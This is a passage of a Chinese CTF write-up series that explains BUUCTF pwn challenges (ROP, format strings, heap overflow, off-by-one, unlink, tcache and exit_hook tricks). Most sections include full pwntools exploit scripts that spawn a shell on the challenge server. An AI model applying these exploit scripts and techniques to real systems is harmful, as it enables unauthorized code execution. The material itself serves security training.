这边其实还有种办法,就是使用mprotect函数修改.bss段的执行权限,然后写入shellcode,再执行来getshell

image-20210823201429425

程序里面是有mprotect函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack

r=remote('node4.buuoj.cn',29804)
p = 'a'*16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

r.sendline(p)
r.interactive()
r.close()

五十三、babyfengshui_33c3_2016

image-20210823202142271

checksec一下,32位,开了NX、Canary

image-20210823231658268

漏洞点在于修改堆块内容里面的检查机制有问题:只要把两个堆块分开,一个在头一个在尾,那就代表着能溢出覆盖两个堆块间的所有堆块。而且这很容易就能办到,只要连续申请几次堆块,把最开始申请的释放了,然后我们申请一个被释放大小的堆块,那这个堆块就出现在了头部,而另一个就是在尾部

image-20210827142300094

而打印函数,认真看,是printf函数,%s,那么这是会解析一个地址,然后把这个地址上的内容打印出来,所以我们通过溢出把free的got表地址写上去,那么解析完打印出来的就是free的真实地址,从而获得libc基址

image-20210827143043150

同样,这边修改description的函数,也是会把description的地址传入进去修改,那么只需要对着前面已经写入free的got表地址的堆块进行这个操作,就能把system函数写进去,从而劫持got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./babyfengshui_33c3_2016')
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote('node4.buuoj.cn', 27980)


def Add(size, length, text):
p.sendlineafter("Action: ", '0')
p.sendlineafter("description: ", str(size))
p.sendlineafter("name: ", 'qin')
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)

def Del(index):
p.sendlineafter("Action: ", '1')
p.sendlineafter("index: ", str(index))

def Dis(index):
p.sendlineafter("Action: ", '2')
p.sendlineafter("index: ", str(index))

def Upd(index, length, text):
p.sendlineafter("Action: ", '3')
p.sendlineafter("index: ", str(index))
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)

Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')

Del(0)
Add(0x100,0x19c,"a"*0x198+p32(elf.got['free']))
gdb.attach(p)
Dis(1)

p.recvuntil("description: ")
free_addr = u32(p.recv(4))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
Upd(1, 0x4, p32(sys_addr))
Del(2)

p.interactive()

五十四、axb_2019_fmt32

image-20210824223244646

惯例checksec,32位,开了NX

image-20210824225801805

IDA里面很明显的就是给了格式化字符串,题目也暗示了。但是由于程序内很干净,没有什么其他函数,那要getshell,就得先格式化字符串泄露出libc,再借用格式化字符串写到栈上,我想了一下,栈还要再泄露出栈地址,也可以实现(因为有个函数environ就是存了栈地址的),所以这边我转念想到劫持got表就不要这么麻烦,got地址又是直接已知的

image-20210824225741699

然后先计算偏移,这边可以看见,我是输入了4个a的,但是很明显是没有对齐的,所以之后写payload的时候,要先补齐一个字符,所以我们的偏移从第八个开始

然后这题是有限时的,所以我们利用%x$n的时候,分两次劫持,写成hn(如果hn也超时,那就hhn),这样输入更快捷。不然会timeout

image-20210825001757873

最后就是选择劫持strlen,刚开始是劫持printf的,但是可能是因为在之前有个地方已经调用了printf打印一句话导致出错,然后这边劫持的时候,要在/bin/sh前加上分号,因为我们输入的地方前面其实已经有一串字符串,所以要分隔开,才能识别出/bin/sh

image-20210825002000682

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",27607)
#p = process('./axb_2019_fmt32')
context.log_level = 'debug'
elf = ELF("./axb_2019_fmt32")
printf_got = elf.got["printf"]
strlen_got = elf.got["strlen"]
#gdb.attach(p)

p.recvuntil("tell me:")
payload = 'a' + p32(printf_got) + "xxxx" "%8$s"
p.send(payload)
p.recvuntil("xxxx")
printf = u32(p.recv(4))
print('read-->' + hex(printf))
sys = printf - 0xe6e0
sys_high = (sys >> 16) & 0xFFFF
sys_low = (sys) & 0xFFFF
print('sys-->' + hex(sys))
print('low-->' + hex(sys_low))
print('high-->' + hex(sys_high))
p.recvuntil("tell me:")
payload = 'a' + p32(strlen_got) + p32(strlen_got+2) + '%' + str(sys_low - 18) + "c%8 hn" + '%' +str(sys_high - sys_low) +"c%9 hn"
p.send(payload)
p.recvuntil("tell me:")
payload= ";/bin/sh\x00"
p.send(payload)
p.interactive()

五十五、bbys_tu_2016

image-20210826151052237

常规checksec一下,32位,开了NX

image-20210826151038100

进入IDA,发现有个后门函数,并且主函数十分简单,就给了个很明显的溢出,那就直接跳转到后门函数即可

image-20210826150923013

image-20210826151009378

image-20210826151024405

这边就是IDA里面的溢出不对,所以要去gdb里面动态调试计算偏移才行

image-20210826151210436

1
2
3
4
5
6
7
8
9
10
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",27835)
#p = process('./1')
context.log_level = 'debug'
payload = 'a'*0x18 + p32(0x804856D)
p.sendline(payload)
p.interactive()

五十六、pwnable_start

image-20210826151445256

常规checksec,32位,什么保护都没开

image-20210826151616994

image-20210826151627593

进入IDA,只存在start,并没有main函数,只能看汇编

通过直接看汇编,或者进行gdb调试,都能获得输入点距离返回地址长度为0x14

image-20210826165108914

在gdb里面可以发现,当执行到ret,esp指向的地方存着一个栈上的地址,所以可以据此,我们先跳转到wirte函数,把esp指向的地方输出出来,从而获得栈上地址。

然后,因为跳转程序,同样会再次执行read,此时我们输入的栈地址比我们泄露的栈地址刚好少4个字节,因为最后都会执行到add esp,0x14,所以偏移仍然是0x14,再解释下为什么esp距离我们写入的/bin/sh\x00会差0x18,是因为执行ret时,会执行pop,所以会多4个字节

image-20210826173800838

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",26799)
#p = process('./start')
#gdb.attach(p)
p.recvuntil("CTF:")
shellcode = 'a'*0x14 + p32(0x08048087)
p.send(shellcode)
addr = u32(p.recv(4))
log.success(hex(addr))

shellcode = "/bin/sh\x00" + 'a'*(0x14-8) +p32(addr+0x14)
shellcode += asm("lea ebx,[esp-0x18]")
shellcode += asm("mov eax,0xb")
shellcode += asm("xor ecx,ecx")
shellcode += asm("xor edx,edx")
shellcode += asm("int 0x80")
p.send(shellcode)
p.interactive()

五十七、picoctf_2018_echo_back

image-20210826182247503

常规checksec一下,32位,开了NX、Canary

image-20210826182506261

进入IDA,很明显的格式化字符串,跟这篇文章的第五题比较相似。但是少了循环,多了system函数调用,所以我们在劫持got表时需要让程序能再执行一次vuln函数,让我们能输入/bin/sh\x00,不需要泄露libc基址

因为后面有执行puts函数,那可以把puts的got表修改为vuln函数的起始地址

image-20210826191303201

偏移是7

image-20210826184836372

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",27830)
#p = process('./1')
context.log_level = 'debug'
printf_got = 0x0804A010
sys_plt = 0x08048460
puts_got = 0x0804A01C
vuln = 0x080485AB

p.recvuntil("message:")
payload = p32(printf_got+2) + p32(puts_got+2) + p32(printf_got) + p32(puts_got)
payload += '%' + str(0x804-0x10) + "c%7$hn"
payload += "%8$hn"
payload += '%' + str(0x8460-0x804) + "c%9$hn"
payload += '%' + str(0x85AB-0x8460) + "c%10$hn"
p.send(payload)
p.recvuntil("message:")
p.send("/bin/sh\x00")

p.interactive()

五十八、ciscn_2019_sw_1

image-20210826194736365

常规checksec,32位,开了NX

image-20210826194146179

进入IDA,这题也是一道格式化字符串,而且仔细看,跟第八题几乎一样,并且也是存在调用了system函数,不需要泄露

image-20210826195039322

偏移为4

这边因为printf后续也没别的函数,所以要让程序再执行一次就要去找在printf之后,程序还调用了什么东西,然后去把这个修改为main函数地址

linux中在程序结束的时候,依次调用fini.array中的每一个函数指针。所以这边把fini.array中的函数指针改写为main函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",27862)
#p = process('./1')
context.log_level = 'debug'
printf_got = 0x0804989C
system_plt = 0x080483D0
fini = 0x0804979C
main = 0x8048534

p.recvuntil("name?")
payload = p32(printf_got+2) + p32(fini+2) + p32(printf_got) + p32(fini)
payload += '%' + str(0x804-0x10) + "c%4$hn"
payload += "%5$hn"
payload += '%' + str(0x83D0-0x804) + "c%6$hn"
payload += '%' + str(0x8534-0x83D0) + "c%7$hn"
p.sendline(payload)
p.recvuntil("name?")
p.sendline("/bin/sh\x00")

p.interactive()

五十九、cmcc_pwnme2

image-20210827143550209

常规checksec,32位,开启NX

image-20210827145058312

进入IDA,程序存在明显溢出,然后存在这个后门函数可以打印flag,也就是我们只需要让string里面放着的是flag即可跳转到这获得flag。

所以先溢出到返回地址,在返回地址填上输入函数gets,往string里面写入flag

image-20210827145907550

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",26117)
#p = process('./1')
context.log_level = 'debug'
elf = ELF('./pwnme2')
string = 0x0804A060
gets = elf.plt['gets']



payload = 'a'*0x70 + p32(gets) + p32(0x080485CB) + p32(string)
p.recvuntil("input:")
p.sendline(payload)
p.sendline("./flag")
p.interactive()

六十、hitcontraining_magicheap

image-20210827153019146

常规checksec,64位,根据题目是道堆题,开了NX、Canary

image-20210827153850520

进入IDA,发现给了个后门函数,好东西

image-20210827155315034

这边如果magic >4869就可以执行到后门函数

image-20210827155753245

漏洞点可以说是十分明显了,这边edit函数里面输入的长度都没有检查的

思路:通过堆溢出,覆盖后面堆块,把堆块申请到magic前面,把magic的值修改成大于4869

image-20210827161445791

成功getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./magicheap")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",29052)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice :","1")
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.send(content)

def edit(idx,content):
p.sendlineafter("Your choice :","2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap : ")
p.sendline(str(len(content)))
p.recvuntil("Content of heap : ")
p.send(content)

def free(idx):
p.sendlineafter("Your choice :","3")
p.recvuntil("Index :")
p.sendline(str(idx))

shell = 0x0000000000400C50
magic = 0x00000000006020A0
add(0x60,'aaaa') #0
add(0x60,'bbbb') #1
add(0x60,'cccc') #2
free(1)
payload = 'a'*0x68 + p64(0x70) + p64(magic-0x20+0xd)
edit(0,payload)
#debug()
add(0x60,p64(4870))
add(0x60,p8(0)*3 + p64(4870))

p.sendlineafter("Your choice :","4869")
p.interactive()

六十一、hitcontraining_heapcreator

image-20210829092850758

常规checksec,开了NX、Cannary

image-20210829094339915

进入IDA,阅读完代码后,在edit函数中,存在明显的溢出一个字节的漏洞(offbyone)

因为有offbyone漏洞在,那肯定是朝着去修改堆头的大小去的,最终达成overlap

image-20210829104050093

先申请出这些堆块,其中第一个是要申请0x18的,因为这样才能覆盖到下一个堆块的size位。然后因为RELRO和PIE的缘故,我选择劫持got表的方法,所以第四个堆块内容就是写着/bin/sh\x00的。当然,也可以把/bin/sh\x00写到第0个堆块上

image-20210829104713815

此时只要再把这个释放了,然后再申请同样大小的堆块回来,那么我们就可以操控其中本来是第二堆块的内容

然后把可以操控的堆结构内容修改为free的got表地址,从而可以利用show函数打印出libc地址。最后再写入sys即可getshell

image-20210829110519523

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./heapcreator")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",26372)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice :","1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.send(content)

def edit(idx,content):
p.sendlineafter("Your choice :","2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content of heap : ")
p.send(content)

def show(idx):
p.sendlineafter("Your choice :","3")
p.recvuntil("Index :")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("Your choice :","4")
p.recvuntil("Index :")
p.sendline(str(idx))

free_got = elf.got["free"]
add(0x18,'a')
add(0x10,'b')
add(0x10,'c')
add(0x10,"/bin/sh\x00")
edit(0,'a'*0x18+'\x81')
free(1)
add(0x70,'a'*0x40 + p64(0x8) + p64(free_got))
show(2)
p.recvuntil("Content : ")
free = u64(p.recv(6).ljust(8,'\x00'))
log.success(hex(free))
libc=LibcSearcher("free",free)
sys=libc.dump("system")+free-libc.dump("free")
edit(2,p64(sys))
free(3)
p.interactive()

六十二、sctf_2019_one_heap

image-20210830160009616

checksec一下,64位,保护全开

image-20210830163315917

进入IDA,堆的菜单只有两种功能,申请和释放

image-20210830163404930

申请的堆块不能大于0x7f,并且申请和释放都有次数限制(其中能申请0xf次,释放4次)。而且,堆块我们只能访问到当前申请出的堆块

image-20210830163542538

释放堆块时,指针没有置0

image-20210830185924091

image-20210830200649131

image-20210830201741615

连续释放两次大小为0x70的堆块,进入到tcache bin 中,然后根据一个字节未知进行爆破,使得堆块分配tcache_perthread_struct(就是开头0x250的那个堆块)上

image-20210830203528418

把数值改为7,然后再把这个堆块释放,将会进入到unsorted bin中

image-20210830210232915

image-20210830210216419

fd,bk已经指向了libc中某个地址了,所以后面还是爆破一个字节,去让stdout吐出libc地址。然后因为tcache结构被改动很大,要先修复一下

后面其实就没有什么了,就是申请出堆块,因为我们把tcache_perthread_struct释放了,所以申请出的堆块都在上面,那么可以通过这个来填写出目标地址,然后就会进入到tcache bin中,接着再申请就能任意地址写。这边还要注意的就是还要用realloc调整一下rsp

然后这边说下,不知道是不是运气问题,爆破上千次都没打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./sctf_2019_one_heap")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so")
libc = ELF("./libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("node4.buuoj.cn",28247)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice:","1")
p.recvuntil("Input the size:")
p.sendline(str(size))
p.recvuntil("Input the content:")
p.sendline(content)

def free():
p.sendlineafter("Your choice:","2")
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn(first,second):
add(0x70,'a')
free()
free()
add(0x70,p16((first << 8) | 0x10))
add(0x70,p8(0x10))
add(0x70,p64(0) * 4 + p64(0x07000000))
free()
add(0x40, p64(0) * 5)
add(0x10,p64(0) + p16((second << 8) | 0x60))
add(0x40,p64(0xfbad1800) + p64(0) * 3 + '\x00')
p.recv(8)
leak_addr = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
log.success("leak_addr==>0x%x" %leak_addr)
libc_base = leak_addr - 0x3ed8b0
ogg = libc_base + 0x10a38c
realloc_hook = libc_base + libc.sym["__realloc_hook"]
realloc = libc_base + libc.sym["realloc"]
log.success("realloc==>0x%x" %realloc)
log.success("one_gadget==>0x%x" %ogg)
add(0x10,p64(0) + p64(realloc_hook))
add(0x40,p64(ogg) + p64(realloc + 0x4))
add(0x10)

try:
p.sendline("id")
p.recvline_contains("uid", timeout=2)
p.sendline("cat flag")
p.interactive()
except:
try:
p.close()
except:
pass
if __name__ == "__main__":
n = 0x1000
while n > 0:
log.success("counts: {}".format(0x1000 - n))
try:
pwn(0x60,0x67)
except:
pass
#p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",28247)
n -= 1

六十三、warmup

image-20210831104431370

常规checksec一下,32位,只开了NX

进入IDA,发现函数很少,而且都是调用系统调用号执行函数的。所以肯定是要执行到0xB的execve函数来getshell

image-20210831104803643

首先,要先制造出/bin/sh\x00才行,所以先跳转到read上去,往.bss段上写/bin/sh\x00。仔细看,这边传递的read的参数,都是来自于栈上的,而且都是esp前面的地址存的值,所以其实我们就是按照平常的写法,返回地址覆盖为这里的地址,然后再写一个新的返回地址,后面跟上read的三个参数payload = 'a'*0x20+p32(read)+p32(start)+p32(0)+p32(bss)+p32(8)

然后返回到最初再次执行,因为执行完函数的返回值是存在eax中的,所以为了达成0xb,第二次执行read函数时,要输入0xb个数据,因为execve(/bin/sh,0,0),所以我们第二次的返回地址要直接返回到read函数传参(此时eax已经是0xb了,不能再执行0x804811D,不然eax的值将会被修改),因为执行完ret后,esp会加4,移动到我们溢出的p32(0),然后传参才会把/bin/sh地址传入到ebx中,而0x8048212这个地址,在于这个地址上的值必须是0,满足这个要求即可,这样才能满足后续传入的是两个0

image-20210831104312190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
#p = remote("node4.buuoj.cn",25785)
p = process("./warmup")
bss = 0x80491bc
start = 0x080480D8
read = 0x0804811D
gdb.attach(p)
p.recvuntil('2016!')
payload='a'*0x20+p32(read)+p32(start)+p32(0)+p32(bss)+p32(8)
p.send(payload)
p.send('/bin/sh\x00')

payload='a'*0x20+p32(read)+p32(0x08048122)+p32(0)+p32(bss)+p32(0x8048212)
p.send(payload)
p.send('/bin/sh\x00' + 'a' * 3 )
p.interactive()

image-20210831153526197

常规checksec一下,64位,开了NX,Canary

image-20210831154605863

进入IDA,四个菜单功能都具备,同时还找到个后门函数,但是看路径,应该是用不了的,buu的flag就在根目录下的

image-20210831155631822

漏洞点在于修改函数里面,对于修改的size没有检查,存在堆溢出

由于在输入后会加0截断,并且没开PIE,堆指针简单可寻,所以这题用unlink做。目标是劫持atoi的got,

image-20210831202645476

这里是触发了unlink,下一个大小为0x80的堆块与我们伪造的大小为0x40的堆块合并放入unsorted bin 中

image-20210831203042925

image-20210831203937694

同时,指向chunk0的指针保存的地址换为了ptr - 0x18的值,所以,此时可以认为chunk0变成是在ptr - 0x18的地方了。所以此时再把堆指针改为函数got表地址,从而泄露libc地址

而刚好,此时又是atoi的got表地址,所以直接继续往里面写入system的地址即可,最后再输入/bin/sh\x00即可

image-20210831204445381

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./1")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",25062)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice:","2")
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("the name of item:")
p.send(content)

def edit(idx,content):
p.sendlineafter("Your choice:","3")
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("the new name of the item:")
p.send(content)

def show():
p.sendlineafter("Your choice:","1")

def free(idx):
p.sendlineafter("Your choice:","4")
p.recvuntil("the index of item:")
p.sendline(str(idx))

atoi_got = elf.got['atoi']
ptr = 0x00000000006020C8
add(0x40,'a')
add(0x80,'b')
add(0x80,'c')
fake_chunk = p64(0) + p64(0x41) #fake_chunk header
fake_chunk += p64(ptr - 0x18) + p64(ptr - 0x10) #fake_chunk fd bk
fake_chunk += 'a' * 0x20 + p64(0x40) + p64(0x90) #fake prev_size size
edit(0,fake_chunk)
free(1)
payload = p64(0) * 2 + p64(0x40) + p64(atoi_got)
edit(0,payload)
show()
p.recvuntil('0 : ')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['atoi']
log.success(hex(libc_base))
system = libc_base + libc.sym['system']
log.success(hex(system))
edit(0,p64(system))
p.sendlineafter("Your choice:","/bin/sh\x00")

p.interactive()

六十五、wustctf2020_closed

这题比较有意思,记录一下,考的是linux的基础知识

image-20210902152712612

进入IDA,程序十分简单,甚至主函数已经运行了system(“/bin/sh”)了,但是注意这边执行了close(1)以及close(2)。这代表什么?代表关闭了linux里面的标准输出(1)和标准错误(2),所以即使已经getshell了,但是我们是看不到输出的,所以这时候输入exec 1>&0就可以让标准输出的文件描述符重定向为0,而0没被关闭,才能看到输出

image-20210902152420434

image-20210902152447680

六十六、ciscn_2019_n_7

image-20210904105152457

常规checksec一下,64位,保护全开

image-20210904111520818

进入IDA,分析程序,首先程序不存在释放功能,并且堆块只能生成一次,这直接断绝了劫持hook指针的做法

image-20210904111633970

image-20210904111749218

在add,edit函数中,我们可以直接修改程序中的堆块指针,也就是说,我们拥有了任意写的能力

image-20210904111836132

其次在输入666后,程序会打印出puts的地址,也就是也拥有了libc地址,似乎一切都具备了?就差一个可以让我们直接写入one_gadget的地方。写在哪?这里介绍一个新的hook,exit_hook,在执行exit函数时,会执行到两个函数,分别是_dl_rtld_lock_recursive_dl_rtld_unlock_recursive,其中一个劫持为one_gadget都行,并且这两个的偏移是固定的值

libc-2.23.so:

  • rtld_lock = libc_base + 0x5F0F48
  • rtld_unlock = libc_base + 0x5F0F50

image-20210904113624683

刚好很巧,这边执行到exit时,也是把文件描述符1和2关闭了,看不见输出,所以跟上题一样的处理方式,exec 1>&0才能看到交互

image-20210904113504655

成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./ciscn_2019_n_7")
libc = ELF("./libc-2.23.so")
p = remote("node4.buuoj.cn",28496)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice->","1")
p.recvuntil("Input string Length:")
p.sendline(str(size))
p.recvuntil("name:")
p.send(content)

def edit(name,content):
p.sendlineafter("Your choice->","2")
p.recvuntil("New Author name:")
p.send(name)
p.recvuntil("contents:")
p.send(content)

def show():
p.sendlineafter("Your choice->","3")

def exit():
p.sendlineafter("Your choice->","4")
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
p.sendlineafter("Your choice->","666")
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - libc.sym['puts']
log.success("libc_base==>0x%x" %libc_base)
ogg = libc_base + 0xf1147
rtld_lock = libc_base + 0x5F0F48
add(0x60,p64(rtld_lock) * 2)
edit(p64(rtld_lock) * 2,p64(ogg))
exit()
p.sendline("exec 1>&0")
p.sendline("ls")
p.interactive()

六十八、ciscn_2019_es_4

image-20210904121810292

checksec一下,64位,PIE没开

image-20210904221627524

image-20210904221644339

image-20210904221657542

首先漏洞点存在edit函数里面,offbynull,其次edit和show函数,都存在验证次数问题,并且验证的值保存在.bss上,没开PIE,也就是说,应该是unlink的题,把chunk改到.bss上,然后修改key值。然后版本是libc-2.27.so,存在tcache,所以在假chunk底下那个chunk要释放七个相同大小去填充tcache bin

image-20210904230122725

unlink成功,把chunk的指针设为.bss上的值

image-20210904231117920

image-20210904231321497

通过unlink设置的指针,把前面两个修改为同一个堆地址,借此造成double free,然后把堆块分配到key上,修改key值,让show功能恢复使用,然后通过show功能泄露libc地址。然后再次使用unlink设置好的指针,把前面的堆块指针改为指向free_hook,然后通过edit函数,往里面写入system函数,之后free一个写有/bin/sh的堆块即可

image-20210904234122710

然后,远程打时,堆块地址是只有图中那么长的,要注意一下。然后就是我们最后往free_hook写入system的那个堆块,必须要在这之前是被申请出来的,具体原因我也不知道为什么,我做的时候一直卡在这最后一步,没想通,然后是对照别人wp才改了这个点,然后通了

image-20210905095712141

getshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./ciscn_2019_es_4")
libc = ELF("./libc-2.27.so")
p = remote("node4.buuoj.cn",29483)
def debug():
gdb.attach(p,"b main")

def add(idx,size,content):
p.sendlineafter("4.show\n",'1')
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("gift: ")
addr = int(p.recv(7),16)
p.recvuntil("content:\n")
p.send(content)
return addr

def edit(idx,content):
